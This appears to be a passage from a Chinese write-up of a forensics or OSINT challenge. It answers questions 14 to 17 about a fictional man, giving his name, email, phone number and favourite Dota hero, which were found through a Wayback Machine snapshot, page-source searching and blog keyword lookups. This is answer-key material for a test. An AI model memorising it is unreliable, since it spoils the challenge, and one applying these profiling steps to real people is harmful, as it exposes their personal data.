网站时光机(Wayback Machine)是万维网的数字档案馆, 由位于美国加利福尼亚州旧金山的非营利组织互联网档案馆创建, 亦为该组织最重要的服务之一. 它允许用户"回到过去", 查看过去的网站的样子. 其创始人布鲁斯特·卡利和 Bruce Gilliat 开发了网站时光机, 旨在通过保存已失效网页的存档副本, 以"普及所有知识"(universal access to all knowledge). 自 2001 年推出以来, 截至 2024 年 1 月 3 日, 网站时光机已存档超过 8600 亿个网页和超过 99 PB 的数据

我们打开 2025.04.07 的网页镜像:

image-20250427010333426.png

可以看到标题为"柳如烟大战霸天虎"

14.陈某的姓名为

陈浩北

见上题

15.陈某的邮箱地址为

mailme@chen.foren6

直接查看网页源码, 搜索@:

image-20250427010527788.png

16.陈某的 11 位手机号为

13170010703

见上题.

17.陈某最爱的 dota 英雄为

邪影芳灵

根据旧博客的内容"圣刀会也没我这么厉害", 关键词检索一下:

image-20250427011010904.png

看了一堆设定, 我们一致推测是幻影刺客, 因为圣刀会是一个刺客组织(DeepSeek 也是这么建议). Gemini 则没有相关知识.

image-20250427011119724.png

最后才知道:

image-20250427011224475.png

好好好,这真的有点难评...